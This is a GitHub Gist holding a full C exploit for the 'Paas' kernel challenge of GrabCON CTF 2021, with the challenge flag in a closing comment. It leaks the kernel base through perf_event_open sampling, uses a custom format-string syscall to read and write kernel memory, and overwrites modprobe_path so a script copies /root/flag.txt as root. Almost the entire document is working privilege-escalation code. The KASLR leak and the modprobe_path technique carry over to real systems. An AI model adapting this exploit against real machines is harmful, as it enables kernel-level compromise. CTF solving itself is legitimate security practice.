-
-
Save 00xc/97ce9c2e4413695c3a5423589f1f8767 to your computer and use it in GitHub Desktop.
GrabCON CTF 2021 - Paas exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Exploit for Paas (GrabCON 2021) | |
* Compile with: gcc -Wall -Wextra exploit.c -o exploit | |
* KASLR bypass taken from: https://github.com/bcoles/kasld (perf_event_open.c) | |
*/ | |
#include <signal.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <linux/perf_event.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <sys/utsname.h> | |
// https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt | |
unsigned long KERNEL_BASE_MIN = 0xffffffff80000000ul; | |
unsigned long KERNEL_BASE_MAX = 0xffffffffff000000ul; | |
struct utsname get_kernel_version() { | |
struct utsname u; | |
if (uname(&u) != 0) { | |
printf("[-] uname(): %m\n"); | |
exit(1); | |
} | |
return u; | |
} | |
int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags) { | |
return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags); | |
} | |
unsigned long get_kernel_addr_perf() { | |
int fd; | |
pid_t child; | |
unsigned long iterations = 100; | |
printf("[.] trying perf_event_open sampling ...\n"); | |
child = fork(); | |
if (child == -1) { | |
printf("[-] fork() failed: %m\n"); | |
return 0; | |
} | |
if (child == 0) { | |
struct utsname self = {{0}}; | |
while (1) uname(&self); | |
return 0; | |
} | |
struct perf_event_attr event = { | |
.type = PERF_TYPE_SOFTWARE, | |
.config = PERF_COUNT_SW_TASK_CLOCK, | |
.size = sizeof(struct perf_event_attr), | |
.disabled = 1, | |
.exclude_user = 1, | |
.exclude_hv = 1, | |
.sample_type = PERF_SAMPLE_IP, | |
.sample_period = 10, | |
.precise_ip = 1 | |
}; | |
fd = perf_event_open(&event, child, -1, -1, 0); | |
if (fd < 0) { | |
printf("[-] syscall(SYS_perf_event_open): %m\n"); | |
if (child) kill(child, SIGKILL); | |
if (fd > 0) close(fd); | |
return 0; | |
} | |
uint64_t page_size = getpagesize(); | |
struct perf_event_mmap_page *meta_page = NULL; | |
meta_page = mmap(NULL, (page_size * 2), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); | |
if (meta_page == MAP_FAILED) { | |
printf("[-] mmap() failed: %m\n"); | |
if (child) kill(child, SIGKILL); | |
if (fd > 0) close(fd); | |
return 0; | |
} | |
if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) { | |
printf("[-] ioctl failed: %m\n"); | |
if (child) kill(child, SIGKILL); | |
if (fd > 0) close(fd); | |
return 0; | |
} | |
char *data_page = ((char *) meta_page) + page_size; | |
size_t progress = 0; | |
uint64_t last_head = 0; | |
size_t num_samples = 0; | |
unsigned long min_addr = ~0; | |
while (num_samples < iterations) { | |
/* is reading from the meta_page racy? no idea */ | |
while (meta_page->data_head == last_head);; | |
last_head = meta_page->data_head; | |
while (progress < last_head) { | |
struct __attribute__((packed)) sample { | |
struct perf_event_header header; | |
uint64_t ip; | |
} *here = (struct sample *) (data_page + progress % page_size); | |
switch (here->header.type) { | |
case PERF_RECORD_SAMPLE: | |
num_samples++; | |
if (here->header.size < sizeof(*here)) { | |
printf("[-] size too small.\n"); | |
if (child) kill(child, SIGKILL); | |
if (fd > 0) close(fd); | |
return 0; | |
} | |
uint64_t prefix = here->ip; | |
if (prefix < min_addr) min_addr = prefix; | |
break; | |
case PERF_RECORD_THROTTLE: | |
case PERF_RECORD_UNTHROTTLE: | |
case PERF_RECORD_LOST: | |
break; | |
default: | |
printf("[-] unexpected perf event: %x\n", here->header.type); | |
if (child) kill(child, SIGKILL); | |
if (fd > 0) close(fd); | |
return 0; | |
} | |
progress += here->header.size; | |
} | |
/* tell the kernel we read it. */ | |
meta_page->data_tail = last_head; | |
} | |
if (child) kill(child, SIGKILL); | |
if (fd > 0) close(fd); | |
if (min_addr > KERNEL_BASE_MIN && min_addr < KERNEL_BASE_MAX) | |
return min_addr; | |
return 0; | |
} | |
/* | |
* Read a location as a string | |
*/ | |
void arb_read(uintptr_t ptr) { | |
char* args[3] = {}; | |
args[0] = "%p -> %s\n"; | |
args[1] = ptr; | |
args[2] = ptr; | |
syscall(548, args); | |
} | |
/* | |
* Write a single byte to a memory location | |
*/ | |
void arb_write_1(uintptr_t ptr, unsigned char val) { | |
char** args; | |
char fmt[20] = {0}; | |
unsigned int i; | |
args = malloc(sizeof(char*) * (val + 1)); | |
if (val > 0) { | |
sprintf(fmt, "%%%dc%%hn", val); | |
args[0] = fmt; | |
for (i = 1; i < val + 1; ++i) { | |
args[i] = ptr; | |
} | |
syscall(548, args); | |
} | |
free(args); | |
} | |
int main() { | |
unsigned int i; | |
unsigned long addr = get_kernel_addr_perf(); | |
unsigned long kernel_base, modprobe_path; | |
char* script; | |
char* target; | |
char cmd[1024]; | |
if (!addr) | |
return 1; | |
printf("lowest leaked address: %lx\n", addr); | |
if ((addr & 0xfffffffffff00000ul) == (addr & 0xffffffffff000000ul)) { | |
printf("kernel base (likely): %lx\n", addr & 0xfffffffffff00000ul); | |
} else { | |
printf("kernel base (possible): %lx\n", addr & 0xfffffffffff00000ul); | |
printf("kernel base (possible): %lx\n", addr & 0xffffffffff000000ul); | |
} | |
/* | |
* Without KASLR: | |
* modprobe_path -> 0xffffffff8264ec60 | |
* offset -> 0xffffffff8264ec60 - ffffffff81000000 = 0x164EC60 | |
*/ | |
kernel_base = addr & 0xfffffffffff00000ul; | |
modprobe_path = kernel_base + 0x164ec60; | |
/* | |
* We use modprobe_path exploitation technique | |
* https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/ | |
*/ | |
/* Write script */ | |
script = "#!/bin/sh\n" | |
"cp /root/flag.txt /home/user/flag\n" | |
"chmod 777 /home/user/flag"; | |
sprintf(cmd, "echo \"%s\" > /home/user/x", script); | |
system(cmd); | |
system("chmod +x /home/user/x"); | |
/* Write dummy binary */ | |
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy"); | |
system("chmod +x /home/user/dummy"); | |
printf("modprobe_path: "); | |
arb_read(modprobe_path); | |
/* Overwrite modprobe_path */ | |
target = "/home/user/x"; | |
for (i = 0; i < strlen(target); ++i) { | |
arb_write_1(modprobe_path+i, target[i]); | |
} | |
printf("modprobe_path: "); | |
arb_read(modprobe_path); | |
/* Trigger exploit */ | |
system("/home/user/dummy"); | |
system("cat /home/user/flag"); | |
/* GrabCON{pr1n7f_1n_k3rn3l-4_b4d_1d34?} */ | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment